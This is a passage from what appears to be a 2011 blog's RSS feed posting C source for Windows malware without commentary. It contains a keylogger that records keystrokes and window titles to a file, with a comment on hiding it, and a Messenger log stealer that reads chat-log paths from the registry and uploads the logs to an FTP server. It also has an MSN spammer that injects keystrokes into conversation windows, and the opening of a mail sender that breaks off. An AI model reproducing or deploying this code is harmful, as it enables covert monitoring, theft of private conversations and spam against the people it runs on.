<p>BOOL Logger() {<br>&nbsp; char window_text[500];<br>&nbsp; char old_window_text[500];<br>&nbsp; char latest_key[50];<br>&nbsp; char file_name[MAX_PATH + 1];<br>&nbsp; char write_name[500];<br>&nbsp; int i;<br>&nbsp; int virt_key;<br>&nbsp; HANDLE file_handle;<br>&nbsp; HWND fore_hndl;<br>&nbsp; DWORD numb_bytes;<br>&nbsp; GetSystemDirectory(file_name, MAX_PATH + 1);<br>&nbsp; strcat(file_name, "<a href="file://mahlogson.txt/">\\MahLogSon.txt</a>");<br>&nbsp; file_handle = CreateFile (file_name, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FILE_ATTRIBUTE_NORMAL, 0); // Could make it hidden or <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //something if you wanted<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //FILE_ATTRIBUTE_HIDDEN<br>&nbsp; while (1) {<br>&nbsp;&nbsp;&nbsp;&nbsp; fore_hndl = GetForegroundWindow();<br>&nbsp;&nbsp;&nbsp;&nbsp; if (fore_hndl != NULL) {<br>&nbsp;&nbsp;&nbsp;&nbsp; if (GetWindowText(fore_hndl, (char*)&amp;window_text, 499) != 0) {<br>&nbsp;&nbsp;&nbsp;&nbsp; if (strcmp(window_text, old_window_text) != 0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(write_name, "\r\n{WINDOW TITLE}-&gt; ");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(write_name, window_text);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(write_name, "\r\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteFile(file_handle, write_name, strlen(write_name), &amp;numb_bytes, NULL);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(old_window_text, window_text);<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; for (i = 8; i &lt;= 255; i++) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((GetAsyncKeyState(i) &amp; 1) == 1) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; virt_key = MapVirtualKey(i, 0);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch (i) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case VK_RETURN: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(latest_key, "\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case VK_SPACE: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(latest_key, " ");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case VK_TAB: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(latest_key, "&nbsp; ");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case VK_DELETE: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(latest_key, "[D]");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case VK_BACK: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(latest_key, "[B]");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case VK_ESCAPE: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(latest_key, "[EX]");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 0x0A2: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 0x00A3: {&nbsp; //This takes care of control keys<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 0x011: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(latest_key, "[CTL]");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case VK_SHIFT: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case VK_LSHIFT: { // Shift Keys<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case VK_RSHIFT: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(latest_key, "[SFT]");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetKeyNameText(virt_key &lt;&lt; 16, latest_key, 50);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteFile(file_handle, latest_key, strlen(latest_key), &amp;numb_bytes, NULL);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(latest_key, "");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; Sleep(100);<br>&nbsp; }<br>&nbsp; CloseHandle(file_handle);<br>&nbsp; return TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73026.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 22:01 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73026.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows Live Messenger Ftp Log Stealer </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73025.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 13:58:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73025.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73025.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73025.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73025.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73025.html</trackback:ping><description><![CDATA[<p>lol, i took the time to make this progy, that steals msn messenger logs and uploads'em to your ftp.<br><br><br><br>#include &lt;windows.h&gt;<br>#include &lt;wininet.h&gt;<br>#include &lt;stdio.h&gt;</p>
<p>bool SendDirectoryToFTP(char *fulldir,char *ftpserver,int port,char *hUser,char *hPass);</p>
<p>int main()<br>{<br>int x=0;<br>char buff[256],<br>&nbsp; temp[256],<br>&nbsp; *regpath = "Software\\Microsoft\\MSNMessenger\\PerPassportSettings\\";</p>
<p>HKEY hkey,hSub;</p>
<p>if(RegOpenKeyA(HKEY_CURRENT_USER,regpath,&amp;hkey)==ERROR_SUCCESS)<br>{</p>
<p>&nbsp;while(RegEnumKeyA(hkey,x,buff,sizeof buff)==ERROR_SUCCESS)<br>&nbsp;{<br>&nbsp;&nbsp;memset(temp,0,sizeof temp);<br>&nbsp;&nbsp;sprintf(temp,"%s%s",regpath,buff);<br>&nbsp;&nbsp;memset(buff,0,sizeof buff);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(RegOpenKeyExA(HKEY_CURRENT_USER,temp,0,KEY_QUERY_VALUE,&amp;hSub)==ERROR_SUCCESS)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD nType = REG_SZ,nSize;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(RegQueryValueExA(hSub,"MessageLogPath",0,&amp;nType,(LPBYTE)buff,&amp;nSize)==ERROR_SUCCESS) {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(SendDirectoryToFTP(buff,"YOURFTP.com",21,"YourFTPUsername","YourFtpPassword"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; puts("Files sucessfully uploaded.");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else puts("Error uploading the directory to your FTP. Wrong username/password ?");</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RegCloseKey(hSub);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;x++;<br>&nbsp;&nbsp;memset(buff,0,sizeof buff);<br>&nbsp;} x=0;</p>
<p>RegCloseKey(hkey);<br>} else puts("Windows Live Messenger not installed.");</p>
<p>getchar();</p>
<p>}</p>
<p>bool SendDirectoryToFTP(char *fulldir,char *ftpserver,int port,char *hUser,char *hPass)<br>{<br>HINTERNET hInet,hCon;<br>hInet = InternetOpen("fUploader",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);<br>if(!hInet) return 0; // Neki error, whatever...</p>
<p>&nbsp;char dir[strlen(fulldir)+1],<br>&nbsp;&nbsp; tempf[strlen(fulldir)+1];<br>&nbsp;<br>&nbsp;sprintf(dir,"%s\\*",fulldir);</p>
<p>&nbsp;WIN32_FIND_DATA fd;<br>&nbsp;HANDLE h = FindFirstFileA(dir,&amp;fd);</p>
<p>&nbsp;&nbsp;if(FindNextFile(h,&amp;fd)) {<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp; hCon = InternetConnectA(hInet,ftpserver,port,hUser,hPass,INTERNET_SERVICE_FTP,0,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(hCon) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while(FindNextFileA(h,&amp;fd)) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sprintf(tempf,"%s\\%s",fulldir,fd.cFileName);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; puts(tempf);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(hCon) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!FtpPutFileA(hCon,tempf,fd.cFileName,FTP_TRANSFER_TYPE_ASCII,0)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else return false;<br>&nbsp;&nbsp;} else return false; // Directory doesn't exist.<br>&nbsp;&nbsp;InternetCloseHandle(hInet);<br>&nbsp;&nbsp;InternetCloseHandle(hCon);<br>&nbsp;return true; // Directory exist.</p>
<p>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73025.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 21:58 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73025.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Msn Spammer</title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73024.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 13:50:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73024.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73024.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73024.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73024.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73024.html</trackback:ping><description><![CDATA[Open conversations with people, click refresh, select they damn names in the listbox, rite a goddam message in the listbox and click spam.<br><br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;windows.h&gt;<br>#include &lt;winsock.h&gt;<br>#pragma comment(lib, "wsock32.lib")<br>#pragma warning (disable:4786)
<p>#define WIDTH 340<br>#define HEIGHT 330</p>
<p>#define bListConvos 1<br>#define bButtonStart 2<br>#define bButtonRefresh 3<br>#define bTextSpam 4<br>#define bLabelTimes 5<br>#define bTextTimes 6<br>#define bLabelError 7</p>
<p>#define BUFFERNAME 160<br>#define BUFFERMED 512<br>#define COPYBUFFERMED 1024<br>#define BUFFERLARGE 1024</p>
<p><br>HFONT Font1 = CreateFont(16,0,0,0,0,FALSE,FALSE,FALSE,ANSI_CHARSET,0,0,0,0,"Arial");<br>HWND hListConvos,hButtonStart,hButtonRefresh,hTextSpam,hLabelTimes,hTextTimes,hLabelE<br>rrors;<br>LRESULT CALLBACK WndProcedure(HWND hWnd, UINT uMsg,WPARAM wParam, LPARAM lParam);</p>
<p>int setClipboard(char cSetText[COPYBUFFERMED])<br>{<br>&nbsp;int iRet = 0;<br>&nbsp;iRet = OpenClipboard(NULL);<br>&nbsp;if(!iRet){<br>&nbsp;&nbsp;return 0;<br>&nbsp;}<br>&nbsp;EmptyClipboard();<br>&nbsp;char* cText = (char*) malloc(sizeof(char) * COPYBUFFERMED);<br>&nbsp;strncpy(cText,cSetText,COPYBUFFERMED);<br>&nbsp;SetClipboardData(CF_TEXT,cText);<br>&nbsp;free(cText);<br>&nbsp;CloseClipboard();<br>&nbsp;return 1;<br>}</p>
<p>void setText(HWND hWnd,char* pcText)<br>{<br>&nbsp;SendMessage(hWnd,WM_SETTEXT,NULL,(LPARAM)pcText);<br>}</p>
<p>void getText(HWND hWnd,char cBuffer[], int iSize)<br>{<br>&nbsp;SendMessage(hWnd,WM_GETTEXT,(WPARAM)iSize,(LPARAM)cBuffer);<br>}</p>
<p>INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)<br>{<br>&nbsp;MSG msgMessage;<br>&nbsp;HWND hWnd;<br>&nbsp;WNDCLASSEX wndClass;<br>&nbsp;wndClass.cbSize = sizeof(WNDCLASSEX);<br>&nbsp;wndClass.style = CS_HREDRAW | CS_VREDRAW;<br>&nbsp;wndClass.lpfnWndProc = WndProcedure;<br>&nbsp;wndClass.cbClsExtra = 0;<br>&nbsp;wndClass.cbWndExtra = 0;<br>&nbsp;wndClass.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(101));<br>&nbsp;wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);<br>&nbsp;wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);<br>&nbsp;wndClass.lpszMenuName = NULL;<br>&nbsp;wndClass.lpszClassName = "Basic";<br>&nbsp;wndClass.hInstance = hInstance;<br>&nbsp;wndClass.hIconSm = LoadIcon(hInstance, MAKEINTRESOURCE(101));<br>&nbsp;if((RegisterClassEx(&amp;wndClass)) == NULL){<br>&nbsp;&nbsp;return 0;&nbsp;<br>&nbsp;}<br>&nbsp;if((hWnd = CreateWindow("Basic","MSN",WS_SYSMENU,CW_USEDEFAULT,CW_USEDEFAULT,WIDTH+10,HEIGHT,NULL,NULL,hInstance,<br>NULL)) == NULL){<br>&nbsp;&nbsp;return 0;<br>&nbsp;}<br>&nbsp;ShowWindow(hWnd, SW_SHOWNORMAL);<br>&nbsp;UpdateWindow(hWnd);<br>&nbsp;while(GetMessage(&amp;msgMessage, NULL, 0, 0)){<br>&nbsp;&nbsp;TranslateMessage(&amp;msgMessage);<br>&nbsp;&nbsp;DispatchMessage(&amp;msgMessage);<br>&nbsp;}<br>&nbsp;return msgMessage.wParam;<br>}</p>
<p>BOOL CALLBACK spreadMSN(HWND hWnd, LPARAM lParam)<br>{<br>&nbsp;char cClassName[BUFFERMED],cWindowName[BUFFERNAME];<br>&nbsp;HWND hwConvo;<br>&nbsp;if(!GetClassName(hWnd,cClassName,BUFFERMED)){<br>&nbsp;&nbsp;return FALSE;<br>&nbsp;}<br>&nbsp;if(!strcmp(cClassName,"IMWindowClass")){<br>&nbsp;&nbsp;if((GetWindowText(hWnd,cWindowName,BUFFERNAME))){<br>&nbsp;&nbsp;&nbsp;if(strstr(cWindowName," - Conversation")){<br>&nbsp;&nbsp;&nbsp;&nbsp;SendMessage(hListConvos,LB_ADDSTRING,(WPARAM)0,(LPARAM)cWindowName);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;return TRUE;<br>}</p>
<p>void spamConvos(char* pcConvoName,char* pcMessage,int iTimes)<br>{<br>&nbsp;unsigned short x = 0;//Spam loop<br>&nbsp;HWND hwConvo = FindWindow(NULL,pcConvoName);<br>&nbsp;if(hwConvo == NULL){<br>&nbsp;&nbsp;setText(hLabelErrors,"Error, conversation window not found\n");<br>&nbsp;&nbsp;return;<br>&nbsp;}<br>&nbsp;for(x=0; x&lt;iTimes; x++){<br>&nbsp;&nbsp;SetForegroundWindow(hwConvo);<br>&nbsp;&nbsp;keybd_event(VK_LCONTROL,0,0,0);<br>&nbsp;&nbsp;keybd_event(86,0,0,0);<br>&nbsp;&nbsp;keybd_event(VK_LCONTROL,0,KEYEVENTF_KEYUP,0);<br>&nbsp;&nbsp;keybd_event(86,0,KEYEVENTF_KEYUP,0);<br>&nbsp;&nbsp;keybd_event(13,0,0,0);<br>&nbsp;&nbsp;keybd_event(13,0,KEYEVENTF_KEYUP,0);<br>&nbsp;}<br>&nbsp;Sleep(100);<br>&nbsp;return;<br>}</p>
<p>void startSpam()<br>{<br>&nbsp;char cWindowName[BUFFERNAME],cSpamText[BUFFERMED],char cSpamTimes[3];<br>&nbsp;unsigned short int i=0; //Convo's<br>&nbsp;unsigned short int iItem=0, iItems=0,iSpamTimes=0; //Current item, Total items, loop amount<br>&nbsp;getText(hTextSpam,cSpamText,BUFFERMED);<br>&nbsp;if(setClipboard(cSpamText)){<br>&nbsp;&nbsp;iItems = SendMessage(hListConvos,(UINT) LB_GETCOUNT,0,0);<br>&nbsp;&nbsp;for(i=0; i&lt;iItems; i++){<br>&nbsp;&nbsp;&nbsp;int iSelected = SendMessage(hListConvos,(UINT)LB_GETSEL,(WPARAM)i,0);<br>&nbsp;&nbsp;&nbsp;if(iSelected){<br>&nbsp;&nbsp;&nbsp;&nbsp;SendMessage(hListConvos,(UINT)LB_GETTEXT,(WPARAM)i,(LPARAM)cWindowName);<br>&nbsp;&nbsp;&nbsp;&nbsp;getText(hTextTimes,cSpamTimes,3);<br>&nbsp;&nbsp;&nbsp;&nbsp;iSpamTimes = atoi(cSpamTimes);<br>&nbsp;&nbsp;&nbsp;&nbsp;spamConvos(cWindowName,cSpamText,iSpamTimes);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;else{<br>&nbsp;&nbsp;setText(hLabelErrors,"Error, clipboard set failed\n");<br>&nbsp;}<br>}</p>
<p>void addConvos()<br>{<br>&nbsp;unsigned short int iItem=0,iItems=0;<br>&nbsp;iItems = SendMessage(hListConvos,(UINT) LB_GETCOUNT,0,0);<br>&nbsp;iItem = iItems + 1;<br>&nbsp;do{<br>&nbsp;&nbsp;iItem--;<br>&nbsp;&nbsp;SendMessage(hListConvos,(UINT) LB_DELETESTRING,(WPARAM)iItem,0);<br>&nbsp;}while(iItem);<br>&nbsp;EnumWindows(spreadMSN,0);<br>}</p>
<p>LRESULT CALLBACK WndProcedure(HWND hWnd, UINT Msg,WPARAM wParam, LPARAM lParam)<br>{<br>&nbsp;switch(Msg){<br>&nbsp;case WM_DESTROY:<br>&nbsp;&nbsp;PostQuitMessage(WM_QUIT);<br>&nbsp;&nbsp;break;<br>&nbsp;case WM_CREATE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//x y width height<br>&nbsp;&nbsp;hListConvos = CreateWindowEx(0,"ListBox",0,LBS_STANDARD | WS_CHILD | WS_VISIBLE |LBS_EXTENDEDSEL |LBS_SORT | WS_VSCROLL | WS_TABSTOP,0, 0, WIDTH, 150,hWnd,(HMENU)bListConvos,0,NULL);<br>&nbsp;&nbsp;hButtonStart = CreateWindowEx(0,"Button","Spam",WS_VISIBLE | WS_CHILD,0, 150, 70, 18,hWnd,(HMENU)bButtonStart,0,NULL);<br>&nbsp;&nbsp;hButtonRefresh = CreateWindowEx(0,"Button","Refresh convos",WS_VISIBLE | WS_CHILD,230, 150, 110, 18,hWnd,(HMENU)bButtonRefresh,0,NULL);<br>&nbsp;&nbsp;hTextSpam = CreateWindowEx(0,"Edit",NULL,WS_VISIBLE | WS_CHILD | WS_BORDER | ES_MULTILINE,0, 170, WIDTH, 100,hWnd,(HMENU)bTextSpam,0,NULL);<br>&nbsp;&nbsp;hTextTimes = CreateWindowEx(0,"Edit",NULL,WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,80, 150, 30, 18,hWnd,(HMENU)hTextTimes,0,NULL);<br>&nbsp;&nbsp;hLabelTimes = CreateWindowEx(0,"Edit",NULL,WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,120, 150, 70, 18,hWnd,0,0,NULL);<br>&nbsp;&nbsp;hLabelErrors = CreateWindowEx(0,"Edit",NULL,WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,0, 280, WIDTH, 20,hWnd,0,0,NULL);<br>&nbsp;&nbsp;SendMessage(hLabelErrors,EM_SETREADONLY,(WPARAM)TRUE,(LPARAM)TRUE);<br>&nbsp;&nbsp;SendMessage(hLabelTimes,EM_SETREADONLY,(WPARAM)TRUE,(LPARAM)TRUE);<br>&nbsp;&nbsp;setText(hTextSpam," &lt; Enter a message here &gt; ");<br>&nbsp;&nbsp;setText(hLabelTimes," times");<br>&nbsp;&nbsp;setText(hTextTimes,"50");<br>&nbsp;&nbsp;EnumWindows(spreadMSN,0);<br>&nbsp;case WM_COMMAND:<br>&nbsp;&nbsp;switch(LOWORD(wParam)){<br>&nbsp;&nbsp;&nbsp;case bButtonStart:<br>&nbsp;&nbsp;&nbsp;&nbsp;setText(hButtonStart,"Spamming");<br>&nbsp;&nbsp;&nbsp;&nbsp;EnableWindow(hButtonStart,FALSE);<br>&nbsp;&nbsp;&nbsp;&nbsp;startSpam();<br>&nbsp;&nbsp;&nbsp;&nbsp;Sleep(100);<br>&nbsp;&nbsp;&nbsp;&nbsp;setText(hButtonStart,"Spam");<br>&nbsp;&nbsp;&nbsp;&nbsp;EnableWindow(hButtonStart,TRUE);<br>&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;case bButtonRefresh:<br>&nbsp;&nbsp;&nbsp;&nbsp;addConvos();<br>&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;default:<br>&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;break;<br>&nbsp;<br>&nbsp;default:<br>&nbsp;&nbsp;return DefWindowProc(hWnd, Msg, wParam, lParam);<br>&nbsp;}<br>&nbsp;return 0;<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73024.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 21:50 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73024.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Mail Sender </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73023.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 13:45:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73023.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73023.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73023.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73023.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73023.html</trackback:ping><description><![CDATA[<p>#include &lt;stdlib.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;sys/socket.h&gt;<br>#include &lt;netdb.h&gt;</p>
<p>int senderr(int s, char * message){<br>&nbsp;if((send(s, message, strlen(message), 0)) &lt; 0){<br>&nbsp;&nbsp;printf("send() error, while sending \"%s\"\n", message);<br>&nbsp;&nbsp;return -1;<br>&nbsp;}<br>&nbsp;return 0;<br>}</p>
